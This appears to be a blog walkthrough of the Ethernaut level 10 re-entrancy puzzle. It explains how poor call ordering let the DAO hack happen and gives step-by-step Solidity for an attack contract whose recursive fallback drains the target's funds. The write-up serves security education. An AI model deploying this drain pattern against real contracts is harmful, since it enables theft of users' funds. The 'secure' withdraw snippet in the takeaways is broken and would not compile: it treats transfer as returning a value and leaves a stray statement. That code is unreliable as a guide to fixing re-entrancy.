Ethernaut Lvl 10 Re-entrancy Walkthrough: How to abuse execution ordering and reproduce the DAO hack

This is a in-depth series around Zeppelin team’s smart contract security puzzles. We learn key Solidity concepts to solve the puzzles 100% on your own.

Nicole Zhu
Coinmonks
Published in
4 min readAug 27, 2018

--

This levels requires you to steal all the ethers from the contract.

What is re-entrancy

Re-entrancy happens in single-thread computing environments, when the execution stack jumps or calls subroutines, before returning to the original execution.

On one hand, this single-thread execution ensures contracts’ atomicity and eliminates some race conditions. On the other hand, contracts are vulnerable to poor execution ordering.

Example of poor code ordering: transferring the amount before deducting from internal balances ledger

In the example above, Contract B is a malicious contract which recursively calls A.withdraw() to deplete Contract A’s funds. Note that the fund extraction successfully finishes before Contract A returns from its recursive loop, and even realizes that B has extracted way above its own balance.

This Ethernaut level exploits this reentrancy issue and the following, additional factors that led to the DAO hack:

Detailed Walkthrough

  1. Create a malicious contract called Reenter.sol, which will first donate to Reentrance.sol, and then recursively withdraw from it until Reentrance is depleted of funds.
contract Reenter {
Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);
uint public amount = 1 ether; //withdrawal amount each time
}

2. Seed Reenter.sol with Ethers upon the contract construction:

constructor() public payable {
}

3. Create a public function so Reenter.sol can donate to Reentrance.sol and be registered as a donor in its balances ledger:

function donateToSelf() public {
original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn
}

Invoking this function will ensure that your malicious contract will be able to call withdraw() at least once, i.e. passing the if(balances[msg.sender] >= _amount) check.

The above diagram illustrates the recursive loop that lets Reenter.sol extract all the funds from Reentrance.sol.

Let’s implement a malicious fallback function in Contract B, so that when Contract A executes msg.sender.call.value(_amount)() to refund Contract B, your malicious contracts triggers even more withdrawals.

4. Implement this malicious fallback function:

function() public payable {
if (address(original).balance != 0 ) {
original.withdraw(amount);
}
}

5. Lastly, in Remix: deploy your contract to Ropsten, seeding it with Ethers, donate to Reentrance, then invoke your fallback function to deplete all funds from Reentrance.

Key Security Takeaways

  • The order of execution really matters in Solidity. If you must make external function calls, make the last thing you do (after all requisite checks and balances):
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
if(msg.sender.transfer(_amount)()) {
_amount;
}
}
}
// Or even better, invoke transfer in a separate function
  • Include a mutex to prevent re-entrancy, e.g. use a boolean lock variable to signal execution depth.
  • Be careful when using function modifiers to check invariants: modifiers are executed at the start of the function. If the variable state will change during the entirety of the function, consider extracting the modifier into a check placed at the correct line in the function.
  • “Use transfer to move funds out of your contract, since it throws and limits gas forwarded. Low level functions like call and send just return false but don't interrupt the execution flow when the receiving contract fails.” — from Ethernaut level
  • Check out the full analysis of the DAO hack here.

More Levels

Get Best Software Deals Directly In Your Inbox

--

--